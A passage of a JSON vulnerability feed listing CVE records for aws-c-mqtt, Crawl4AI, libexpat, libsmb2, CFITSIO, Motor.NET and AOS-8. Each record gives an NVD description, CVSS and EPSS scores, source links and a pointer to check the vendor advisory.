CVE-2026-108456","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108456","type":"primary","publishedAt":"2026-10-22T22:17:58.473Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108456&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108456, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115417","cveId":"CVE-2026-115417","aliases":[],"kind":"vulnerability","title":"Memory allocation with excessive size value in the MQTT 3.1.1 compatibility adapter in AWS aws-c-mqtt before 0.16.2 might allow a remote actor to cause a denial of service of the...","summary":"Memory allocation with excessive size value in the MQTT 3.1.1 compatibility adapter in AWS aws-c-mqtt before 0.16.2 might allow a remote actor to cause a denial of service of the client application.\n\n\n\nTo remediate this issue, users should upgrade to aws-c-mqtt 0.16.2 or later, or to an AWS Common Runtime or AWS IoT Device SDK release that bundles it.","detail":"Memory allocation with excessive size value in the MQTT 3.1.1 compatibility adapter in AWS aws-c-mqtt before 0.16.2 might allow a remote actor to cause a denial of service of the client application.\n\n\n\nTo remediate this issue, users should upgrade to aws-c-mqtt 0.16.2 or later, or to an AWS Common Runtime or AWS IoT Device SDK release that bundles it.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T21:17:17.633Z","updatedAt":"2026-10-23T17:17:17.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115417","asOf":"2026-10-23T17:17:17.303Z"},"epss":{"probability":0.0035,"percentile":0.2839,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115417&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115417","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115417","type":"primary","publishedAt":"2026-10-22T21:17:17.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115417&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115417, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115508","cveId":"CVE-2026-115508","aliases":[],"kind":"vulnerability","title":"Crawl4AI 0.7.0 before 0.9.5 contains an inefficient regular expression complexity vulnerability in the Docker API server that allows authenticated API clients to supply unbounded...","summary":"Crawl4AI 0.7.0 before 0.9.5 contains an inefficient regular expression complexity vulnerability in the Docker API server that allows authenticated API clients to supply unbounded regular expressions in /crawl request bodies. Attackers can submit catastrophic-backtracking patterns via RegexExtractionStrategy.custom, RegexChunking.patterns or JsonCss, JsonXPath and JsonLxml schema regex fields against a crafted page to freeze the entire server, including /health.","detail":"Crawl4AI 0.7.0 before 0.9.5 contains an inefficient regular expression complexity vulnerability in the Docker API server that allows authenticated API clients to supply unbounded regular expressions in /crawl request bodies. Attackers can submit catastrophic-backtracking patterns via RegexExtractionStrategy.custom, RegexChunking.patterns or JsonCss, JsonXPath and JsonLxml schema regex fields against a crafted page to freeze the entire server, including /health.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T20:17:06.910Z","updatedAt":"2026-10-23T13:19:11.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115508","asOf":"2026-10-23T13:19:11.597Z"},"epss":{"probability":0.00305,"percentile":0.23047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115508&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115508","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115508","type":"primary","publishedAt":"2026-10-22T20:17:06.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115508&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115508, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115506","cveId":"CVE-2026-115506","aliases":[],"kind":"vulnerability","title":"libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too...","summary":"libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too late. Attackers can supply a moderately sized XML document with a large DTD and nested entity expansions to consume tens of seconds of CPU per parse.","detail":"libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too late. Attackers can supply a moderately sized XML document with a large DTD and nested entity expansions to consume tens of seconds of CPU per parse.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T20:17:06.620Z","updatedAt":"2026-10-23T21:17:22.280Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115506","asOf":"2026-10-23T21:17:22.280Z"},"epss":{"probability":0.00455,"percentile":0.39238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115506","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115506","type":"primary","publishedAt":"2026-10-22T20:17:06.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115505","cveId":"CVE-2026-115505","aliases":[],"kind":"vulnerability","title":"libsmb2 before 6.3 contains integer overflow vulnerabilities in the DCE/RPC NDR decoder in lib/dcerpc.c that allow heap out-of-bounds reads and writes.","summary":"libsmb2 before 6.3 contains integer overflow vulnerabilities in the DCE/RPC NDR decoder in lib/dcerpc.c that allow heap out-of-bounds reads and writes. A malicious SMB server or machine-in-the-middle on unsigned connections can send crafted NetrShareEnum replies with wrapping actual_count or max_count values when clients call smb2_share_enum_async(), corrupting heap memory.","detail":"libsmb2 before 6.3 contains integer overflow vulnerabilities in the DCE/RPC NDR decoder in lib/dcerpc.c that allow heap out-of-bounds reads and writes. A malicious SMB server or machine-in-the-middle on unsigned connections can send crafted NetrShareEnum replies with wrapping actual_count or max_count values when clients call smb2_share_enum_async(), corrupting heap memory.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T20:17:06.470Z","updatedAt":"2026-10-23T13:19:13.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115505","asOf":"2026-10-23T13:19:13.070Z"},"epss":{"probability":0.00207,"percentile":0.10711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115505&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115505","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115505","type":"primary","publishedAt":"2026-10-22T20:17:06.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115505&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115505, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115504","cveId":"CVE-2026-115504","aliases":[],"kind":"vulnerability","title":"CFITSIO through 4.7.0 contains an out-of-bounds write vulnerability in ffgcls2() in getcols.c that trusts attacker-controlled heap descriptor lengths for variable-length string...","summary":"CFITSIO through 4.7.0 contains an out-of-bounds write vulnerability in ffgcls2() in getcols.c that trusts attacker-controlled heap descriptor lengths for variable-length string columns. Attackers can supply a crafted FITS file that overflows a fixed 28,800-byte stack buffer and the caller's string array, enabling arbitrary code execution.","detail":"CFITSIO through 4.7.0 contains an out-of-bounds write vulnerability in ffgcls2() in getcols.c that trusts attacker-controlled heap descriptor lengths for variable-length string columns. Attackers can supply a crafted FITS file that overflows a fixed 28,800-byte stack buffer and the caller's string array, enabling arbitrary code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T20:17:06.313Z","updatedAt":"2026-10-23T19:45:03.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115504","asOf":"2026-10-23T19:45:03.547Z"},"epss":{"probability":0.00133,"percentile":0.02792,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115504&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115504","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115504","type":"primary","publishedAt":"2026-10-22T20:17:06.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115504&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115504, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112332","cveId":"CVE-2026-112332","aliases":[],"kind":"vulnerability","title":"Motor.NET before 0.19.0 contains an uncaught exception vulnerability in JsonNetDeserializer.Deserialize that allows a remote attacker who can publish to a consumed queue or topic...","summary":"Motor.NET before 0.19.0 contains an uncaught exception vulnerability in JsonNetDeserializer.Deserialize that allows a remote attacker who can publish to a consumed queue or topic to crash the service permanently by sending structurally valid JSON that does not match the handler's expected type. Attackers can exploit the fact that JsonSerializationException is not caught alongside JsonReaderException and InvalidCastException, causing TypedConsumerService.SingleMessageConsumeAsync to treat the error as CriticalFailure and call StopApplication, which combined with the unacknowledged message being redelivered on restart results in a permanent crash-loop.","detail":"Motor.NET before 0.19.0 contains an uncaught exception vulnerability in JsonNetDeserializer.Deserialize that allows a remote attacker who can publish to a consumed queue or topic to crash the service permanently by sending structurally valid JSON that does not match the handler's expected type. Attackers can exploit the fact that JsonSerializationException is not caught alongside JsonReaderException and InvalidCastException, causing TypedConsumerService.SingleMessageConsumeAsync to treat the error as CriticalFailure and call StopApplication, which combined with the unacknowledged message being redelivered on restart results in a permanent crash-loop.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T20:17:05.890Z","updatedAt":"2026-10-23T17:06:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112332","asOf":"2026-10-23T17:06:36.030Z"},"epss":{"probability":0.00627,"percentile":0.49759,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112332&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112332","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112332","type":"primary","publishedAt":"2026-10-22T20:17:05.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112332&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112332, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112331","cveId":"CVE-2026-112331","aliases":[],"kind":"vulnerability","title":"Motor.NET before 0.19.0 contains a denial-of-service vulnerability that allows a remote attacker who can produce records to a consumed topic to crash the service permanently by...","summary":"Motor.NET before 0.19.0 contains a denial-of-service vulnerability that allows a remote attacker who can produce records to a consumed topic to crash the service permanently by sending a single crafted record. By setting the content-type header to application/cloudevents+json and omitting required CloudEvent attributes (id, source, type), the attacker triggers an ArgumentException in KafkaMessageConsumer.SingleMessageHandlingAsync that is treated as fatal, causing the host to stop and re-process the same poison record on every restart, resulting in a permanent crash-loop.","detail":"Motor.NET before 0.19.0 contains a denial-of-service vulnerability that allows a remote attacker who can produce records to a consumed topic to crash the service permanently by sending a single crafted record. By setting the content-type header to application/cloudevents+json and omitting required CloudEvent attributes (id, source, type), the attacker triggers an ArgumentException in KafkaMessageConsumer.SingleMessageHandlingAsync that is treated as fatal, causing the host to stop and re-process the same poison record on every restart, resulting in a permanent crash-loop.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T20:17:05.750Z","updatedAt":"2026-10-23T17:06:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112331","asOf":"2026-10-23T17:06:36.030Z"},"epss":{"probability":0.00679,"percentile":0.52069,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112331&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112331","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112331","type":"primary","publishedAt":"2026-10-22T20:17:05.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112331&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112331, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112330","cveId":"CVE-2026-112330","aliases":[],"kind":"vulnerability","title":"Motor.NET before 0.19.0 contains a denial of service vulnerability that allows a remote attacker who can publish to a consumed queue to crash the service permanently by sending a...","summary":"Motor.NET before 0.19.0 contains a denial of service vulnerability that allows a remote attacker who can publish to a consumed queue to crash the service permanently by sending a message with crafted cloudEvents headers. Attackers can supply an invalid cloudEvents:motorversion, a single double-quote header value, or an unparsable typed attribute such as cloudEvents:time to trigger an unhandled exception in ExtractCloudEvent that is treated as fatal, causing the application to stop and the unacknowledged message to be redelivered on restart, resulting in a permanent crash-loop.","detail":"Motor.NET before 0.19.0 contains a denial of service vulnerability that allows a remote attacker who can publish to a consumed queue to crash the service permanently by sending a message with crafted cloudEvents headers. Attackers can supply an invalid cloudEvents:motorversion, a single double-quote header value, or an unparsable typed attribute such as cloudEvents:time to trigger an unhandled exception in ExtractCloudEvent that is treated as fatal, causing the application to stop and the unacknowledged message to be redelivered on restart, resulting in a permanent crash-loop.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T20:17:05.580Z","updatedAt":"2026-10-23T21:17:21.363Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112330","asOf":"2026-10-23T21:17:21.363Z"},"epss":{"probability":0.00679,"percentile":0.52068,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112330&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112330","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112330","type":"primary","publishedAt":"2026-10-22T20:17:05.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112330&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112330, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95713","cveId":"CVE-2026-95713","aliases":[],"kind":"vulnerability","title":"An unauthenticated buffer overflow vulnerability exists in the command line interface of AOS-8.","summary":"An unauthenticated buffer overflow vulnerability exists in the command line interface of AOS-8. Successful exploitation could allow an unauthenticated remote attacker to disrupt the availability of the affected interface, along with limited access to or modification of some system data.","detail":"An unauthenticated buffer overflow vulnerability exists in the command line interface of AOS-8. Successful exploitation could allow an unauthenticated remote attacker to disrupt the availability of the affected interface, along with limited access to or modification of some system data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:07.313Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95713","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00293,"percentile":0.21686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95713&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95713","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95713","type":"primary","publishedAt":"2026-10-22T19:18:07.313Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95713&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95713, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95712","cveId":"CVE-2026-95712","aliases":[],"kind":"vulnerability","title":"A sensitive information disclosure vulnerability in the PAPI protocol of AOS-8 could allow 